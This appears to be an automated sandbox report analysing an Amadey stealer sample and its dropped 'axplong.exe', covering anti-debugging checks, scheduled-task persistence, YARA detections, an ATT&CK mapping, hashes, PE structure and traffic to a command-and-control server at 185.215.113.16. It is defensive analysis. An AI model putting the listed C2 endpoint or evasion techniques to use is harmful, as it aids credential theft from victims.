Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04BA02BB rdtsc

0_2_04BA02BB

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002E645B mov eax, dword ptr fs:[00000030h]		6_2_002E645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_002EA1C2 mov eax, dword ptr fs:[00000030h]		6_2_002EA1C2

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"

Jump to behavior

Source: axplong.exe, axplong.exe, 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: $Program Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_002CD312 cpuid

6_2_002CD312

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_002CCB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_002CCB1A

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.axplong.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.axplong.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.1755618042.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1726972956.0000000004980000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1759465892.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1799745219.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2268716495.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767879458.0000000000501000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1795993129.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	224 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	53%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	53%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://185.215.113.16/Jo89Ku7d/index.phpY	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpJ	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpD	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php	100%	Avira URL Cloud	malware
http://185.215.113.16/Jo89Ku7d/index.phpI	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpz	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpded	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php=	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpE	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpX	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpncoded	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpncodedV	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpq	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php/	100%	Avira URL Cloud	malware
http://185.215.113.16/Jo89Ku7d/index.phpncodedn	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
15.164.165.52.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.phpJ	axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpI	axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpi	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.2980255678.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpE	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpD	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php=	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpz	axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpY	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpded	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpy	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpX	axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncodedV	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpq	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php/	axplong.exe, 00000006.00000002.2980255678.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncodedn	axplong.exe, 00000006.00000002.2980255678.0000000000E90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519551
Start date and time:	2024-09-26 17:04:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/1
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target axplong.exe, PID 5064 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 6020 because there are no executed function
Execution Graph export aborted for target file.exe, PID 6692 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:06:01	API Interceptor	478630x Sleep call for process: axplong.exe modified
16:05:08	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.16	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, Go Injector, XWorm	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, Stealc, zgRAT	Browse	185.215.113.16/inc/newbundle2.exe
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse	185.215.113.117

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1913344
Entropy (8bit):	7.950396173130341
Encrypted:	false
SSDEEP:	49152:hskp+qQXcNF9BMop9cdXcAB+ZetEWzf23Qfu24G:mkp+qQsNFMhfSWL5G24
MD5:	EE97C42201B1BF6C1B166B5EF8EE88B0
SHA1:	EB6894654E6C48E98D4CF16D47073BFE9CCFDDC8
SHA-256:	9E595C5513BA6EDDE325DC5DADB184A977C6E89EF0A3230212628B100A1ABA4C
SHA-512:	1A152F6BB5F92A91B2B0CA6BB17066619B8358408EACA2934E32413371F081B3E6F323CDB63AE5030F379A68CEEDCA12BACF9C7BC3A542A404E49A197C7F9510
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................K...........@...........................K......;....@.................................W...k...........................t.K.............................$.K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...mtnloani. ....1.....................@...bcuuovzp......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.408377949345087
Encrypted:	false
SSDEEP:	6:v4LVXpRKUEZ+lX1lOJUPelkDdtPjgsW2YRZuy0lb2dt0:SpRKQ1lOmeeDHjzvYRQVqt0
MD5:	9148677647D928CDED564D1926719378
SHA1:	66445A1280CAE4EBC19AF7113660584F0D92FE40
SHA-256:	DF53BB8D26AA07CF1207514CA52190AE6D3C47E8F20D33371E7FB3C8A80E9F9B
SHA-512:	8F69B3337D27910AE1BB0D53C0F8F0F8F2BE5FF1482514849917667EF8E65F825CD1DCBAB2FC7CAF49D4AE41F8531FCE63F5955C0670B2D6F6490FAF7F1F055B
Malicious:	false
Reputation:	low
Preview:	....`2n..!.N.!F.t4E.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950396173130341
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'913'344 bytes
MD5:	ee97c42201b1bf6c1b166b5ef8ee88b0
SHA1:	eb6894654e6c48e98d4cf16d47073bfe9ccfddc8
SHA256:	9e595c5513ba6edde325dc5dadb184a977c6e89ef0a3230212628b100a1aba4c
SHA512:	1a152f6bb5f92a91b2b0ca6bb17066619b8358408eaca2934e32413371f081b3e6f323cdb63ae5030f379a68ceedca12bacf9c7bc3a542a404e49a197c7f9510
SSDEEP:	49152:hskp+qQXcNF9BMop9cdXcAB+ZetEWzf23Qfu24G:mkp+qQsNFMhfSWL5G24
TLSH:	2395332DB4E1EB9FD9DF12F6DA8793C45F98762A44C34D0932461125868F8A0B6F7F80
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8bb000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F488CB7B7FAh
movups xmm3, dqword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b9474	0x10	mtnloani
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b9424	0x18	mtnloani
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	f7ea1c87b19d4f24283ea635c1a7fc7d	False	0.9974242166212534	data	7.981756657229513	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	67c27a9da4fdb15f1de8ffa0df298214	False	0.58203125	data	4.531214649543818	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2ad000	0x200	9fb5e742a4afb8be134e2e7e76b72840	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mtnloani	0x318000	0x1a2000	0x1a1800	a31e57591ee0480742fd59bbde0756bd	False	0.994482129491018	data	7.954149945480765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bcuuovzp	0x4ba000	0x1000	0x400	48346f4a6e96239a2780085d5d621115	False	0.7392578125	data	5.88476992713561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4bb000	0x3000	0x2200	85cdaef9ef82a8f50af846f47133b00d	False	0.05170036764705882	DOS executable (COM)	0.5527501213916006	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b9484	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T17:06:13.686528+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	55659	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 17:06:03.356292009 CEST	55650	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:03.361310005 CEST	80	55650	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:03.361388922 CEST	55650	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:03.361546040 CEST	55650	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:03.366288900 CEST	80	55650	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:04.071353912 CEST	80	55650	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:04.071465015 CEST	55650	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:04.073450089 CEST	55650	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:04.078311920 CEST	80	55650	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:04.300441980 CEST	80	55650	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:04.301191092 CEST	55650	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:04.409831047 CEST	55650	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:04.410017014 CEST	55651	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:04.416271925 CEST	80	55651	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:04.416361094 CEST	55651	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:04.416510105 CEST	55651	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:04.416826010 CEST	80	55650	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:04.416888952 CEST	55650	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:04.422936916 CEST	80	55651	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:05.147222996 CEST	80	55651	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:05.147339106 CEST	55651	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:05.148212910 CEST	55651	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:05.152971029 CEST	80	55651	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:05.383308887 CEST	80	55651	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:05.383435965 CEST	55651	80	192.168.2.4	185.215.113.16
